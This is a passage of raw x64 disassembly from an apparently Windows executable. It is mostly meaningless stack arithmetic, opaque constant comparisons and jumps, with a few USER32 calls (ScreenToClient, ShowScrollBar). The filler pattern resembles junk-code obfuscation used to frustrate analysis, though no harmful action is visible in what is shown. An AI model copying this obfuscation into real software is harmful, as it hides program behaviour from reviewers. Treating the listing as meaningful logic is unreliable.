mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6160]
mov word [rcx], ax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
and eax, ecx
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3500]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x349c], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x61e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x6050]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60b8], rax
mov eax, dword [rsp + 0x34bc]
mov ecx, dword [rsp + 0x34fc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15f]
sar eax, cl
mov byte [section..data], al
movzx eax, byte [rsp + 0x15f]
movzx ecx, byte [rsp + 0x15c]
xor eax, ecx
mov rcx, qword [rsp + 0x6190]
mov byte [rcx], al
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe1c]
shl eax, cl
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
jmp 0x1400093a1
cmp dword [rsp + 0x3548], 0x8e3f
jbe 0x140009c44
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
and eax, ecx
mov word [rsp + 0xe20], ax
movsx eax, byte [rsp + 0x161]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6148]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61a0]
mov rcx, qword [rsp + 0x61d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x61a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60c0]
mov ecx, dword [rsp + 0x34dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x60c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x5d58]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movsx eax, byte [rsp + 0x160]
movsx ecx, byte [rsp + 0x161]
add eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15f]
sar eax, cl
mov byte [rsp + 0x15e], al
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15d]
or eax, ecx
mov byte [rsp + 0x160], al
mov eax, dword [rsp + 0x34bc]
mov ecx, dword [rsp + 0x348c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x34fc], eax
mov eax, dword [rsp + 0x3548]
sub eax, 0xec
mov dword [rsp + 0x3548], eax
mov eax, dword [rsp + 0x3500]
mov rcx, qword [rsp + 0x60c0]
mov qword [rsp + 0x6208], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6208]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x349c], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6188]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x6130]
mov rcx, qword [rsp + 0x6148]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
add eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
sub eax, ecx
mov word [rsp + 0xe1c], ax
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x160]
sub eax, ecx
mov byte [rsp + 0x158], al
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xd88]
sub eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xe1c]
add eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x61d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x61e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x6150]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3240], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [section..data], al
movsx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x159], al
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xe0c]
shl eax, cl
mov word [rsp + 0xd88], ax
jmp 0x1400098f7
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov word [rsp + 0xe10], ax
cmp dword [rsp + 0x3514], 0x87bf
je 0x140009efa
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15f], al
mov eax, dword [rsp + 0x3514]
add eax, 0xfc
mov dword [rsp + 0x3514], eax
mov eax, dword [rsp + 0x3240]
mov ecx, dword [rsp + 0x3468]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6198]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x61d8]
mov ecx, dword [rsp + 0x34bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x61d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6130]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140147004], ax
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x159], al
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov byte [rsp + 0x15c], al
mov eax, dword [rsp + 0x34dc]
mov ecx, dword [rsp + 0x3468]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x349c], eax
mov eax, dword [rsp + 0x348c]
movzx ecx, al
mov eax, dword [rsp + 0x34bc]
shl eax, cl
mov dword [rsp + 0x34fc], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6130]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6108]
mov qword [rsp + 0x6210], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6210]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
movsx eax, word [0x1401482d0]
movsx ecx, word [rsp + 0xe1c]
sub eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
and eax, ecx
mov rcx, qword [rsp + 0x6190]
mov byte [rcx], al
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe1c]
add eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x6148]
mov rcx, qword [rsp + 0x6130]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
jmp 0x140009c61
mov rax, qword [rsp + 0x6188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5d58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x60b8]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14012bf1c
mov rax, qword [rsp + 0x61d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34bc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3034], eax
movzx eax, word [rsp + 0xe20]
movzx ecx, word [rsp + 0xd88]
imul eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
cmp dword [rsp + 0x3484], 0x11687
je 0x14000a525
movzx eax, byte [section..data]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6168]
mov byte [rcx], al
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6188]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x61e0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x34bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3240]
mov ecx, dword [rsp + 0x34dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15f]
sub eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe14]
add eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x160], al
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x61d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34fc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6050]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6128]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x349c], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6130]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15f]
add eax, ecx
mov rcx, qword [rsp + 0x6190]
mov byte [rcx], al
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401482d0], ax
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe0c], ax
mov eax, dword [rsp + 0x3484]
add eax, 0xdd
mov dword [rsp + 0x3484], eax
movsx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe1c], ax
mov eax, dword [rsp + 0x34fc]
mov ecx, dword [rsp + 0x34bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x6188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6108]
mov qword [rsp + 0x6218], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6218]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6130]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x61e0], rax
mov eax, dword [rsp + 0x3468]
mov ecx, dword [rsp + 0x349c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6110]
mov dword [rcx], eax
movsx eax, word [rsp + 0xe18]
movsx ecx, word [rsp + 0xe1c]
shl eax, cl
mov word [0x140147004], ax
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x15e], al
movsx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15d], al
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xe20]
add eax, ecx
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov eax, dword [rsp + 0x34bc]
mov ecx, dword [rsp + 0x34fc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6150]
mov ecx, dword [rsp + 0x3500]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6148]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x15a]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
sar eax, cl
mov word [rsp + 0xe14], ax
movsx eax, word [rsp + 0xe1c]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe18], ax
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6168]
mov byte [rcx], al
mov rax, qword [rsp + 0x61a0]
mov rcx, qword [rsp + 0x6118]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x61d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61e0]
mov rcx, qword [rsp + 0x6130]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6128]
mov ecx, dword [rsp + 0x349c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x6108]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6050], rax
movsx eax, word [rsp + 0xe1c]
movsx ecx, word [rsp + 0xe18]
sub eax, ecx
mov word [0x140147004], ax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x160], al
jmp 0x140009f6f
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6188]
mov rdx, qword [rsp + 0x6050]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x14000a616
mov rax, qword [rsp + 0x6098]
movzx eax, byte [rax]
mov byte [rsp + 0x3554], al
cmp byte [rsp + 0x3554], 0x43
je 0x14000a57b
jmp 0x14000a5f0
mov rax, qword [rsp + 0x61e0]
mov rcx, qword [rsp + 0x6148]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6130], rax
mov rax, qword [rsp + 0x61a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
lea rdx, [rsp + 0x60b8]
mov rcx, qword [rsp + 0x61c8]
call qword [sym.imp.USER32.dll_ScreenToClient]
mov dword [rsp + 0x34ac], eax
mov eax, dword [rsp + 0x34dc]
mov ecx, dword [rsp + 0x3468]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3500], eax
jmp 0x14000a611
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x5d58]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
jmp 0x14012be49
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15b]
sub eax, ecx
movsx ecx, byte [rsp + 0x161]
movsx edx, byte [rsp + 0x158]
and ecx, edx
cmp eax, ecx
jne 0x14012be49
cmp dword [rsp + 0x3550], 0x5b51
jae 0x14000aa65
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xe20]
add eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15e], al
movsx eax, byte [rsp + 0x161]
movsx ecx, byte [rsp + 0x160]
add eax, ecx
mov byte [rsp + 0x159], al
movsx eax, word [rsp + 0xe1c]
movsx ecx, word [rsp + 0xe18]
sub eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
sub eax, ecx
mov word [rsp + 0xe0c], ax
mov eax, dword [rsp + 0x3550]
add eax, 0xf4
mov dword [rsp + 0x3550], eax
mov rax, qword [rsp + 0x6110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x349c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6148]
mov rcx, qword [rsp + 0x6130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x61e0], rax
mov eax, dword [rsp + 0x34fc]
mov ecx, dword [rsp + 0x348c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x5d58]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15f]
shl eax, cl
mov byte [section..data], al
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
sar eax, cl
mov word [rsp + 0xe10], ax
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
and eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
add eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6130]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6198]
mov rcx, qword [rsp + 0x6128]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x60c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5d58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x61a0]
mov ecx, dword [rsp + 0x348c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140147004], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x160]
add eax, ecx
mov byte [rsp + 0x15d], al
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xe20]
add eax, ecx
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe1c]
xor eax, ecx
mov word [rsp + 0xe10], ax
movzx eax, byte [rsp + 0x15f]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x6170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6148]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6130], rax
mov eax, dword [rsp + 0x34bc]
movzx ecx, al
mov eax, dword [rsp + 0x3034]
shl eax, cl
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6050]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x6150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x349c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401482d0], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15d]
add eax, ecx
mov byte [rsp + 0x160], al
movzx eax, word [rsp + 0xd88]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [section..data]
and eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
sub eax, ecx
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x6050]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x6150]
mov rcx, qword [rsp + 0x6110]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x349c], eax
mov rax, qword [rsp + 0x6130]
mov rcx, qword [rsp + 0x6148]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
jmp 0x14000a645
lea rax, [rsp + 0x34fc]
mov qword [rsp + 0x6220], rax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x61a0]
mov eax, dword [rax]
mov dword [rsp + 0x3558], eax
cmp dword [rsp + 0x3558], 0x40bc8b4d
je 0x14000aac4
cmp dword [rsp + 0x3558], 0x7e271684
je 0x14000aada
jmp 0x14000abfa
mov rax, qword [rsp + 0x6068]
movzx ecx, word [rax]
call fcn.14012e470
nop
jmp 0x14000abfa
mov r8d, 1
mov edx, 0x63
mov rcx, qword [rsp + 0x6078]
call qword [sym.imp.USER32.dll_ShowScrollBar]
mov dword [rsp + 0x355c], eax
mov rax, qword [rsp + 0x6128]
mov rcx, qword [rsp + 0x60c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6198]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x6150]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14000abb2
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [0x140147004]
add eax, ecx
mov word [rsp + 0xe1c], ax
movzx eax, word [rsp + 0xe14]
mov dword [rsp + 0x3560], eax
cmp dword [rsp + 0x3560], 0xbd7
je 0x14000ab91
cmp dword [rsp + 0x3560], 0xc24
je 0x14000ab77
jmp 0x14000abb0
movzx edx, word [rsp + 0xe20]
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rax]
call fcn.14012d9e0
nop
jmp 0x14000abb0
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6168]
mov byte [rcx], al
jmp 0x14000abfa
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15f]
xor eax, ecx
movzx ecx, byte [rsp + 0x15e]
mov rdx, qword [rsp + 0x6168]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
je 0x14000abfa
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe14]
sub eax, ecx
mov word [rsp + 0xe0c], ax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x158]
add ecx, edx
cmp eax, ecx
jg 0x14000acda
mov eax, dword [rsp + 0x349c]
mov dword [rsp + 0x3564], eax
cmp dword [rsp + 0x3564], 0
je 0x14000ac46
jmp 0x14000acc5
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
and eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov eax, dword [rsp + 0x34dc]
mov dword [rsp + 0x3568], eax
movzx eax, word [rsp + 0xe14]
mov dword [rsp + 0x356c], eax
cmp dword [rsp + 0x356c], 0x305
je 0x14000ac92
jmp 0x14000aca5
mov rax, qword [rsp + 0x60d8]
movzx ecx, word [rax]
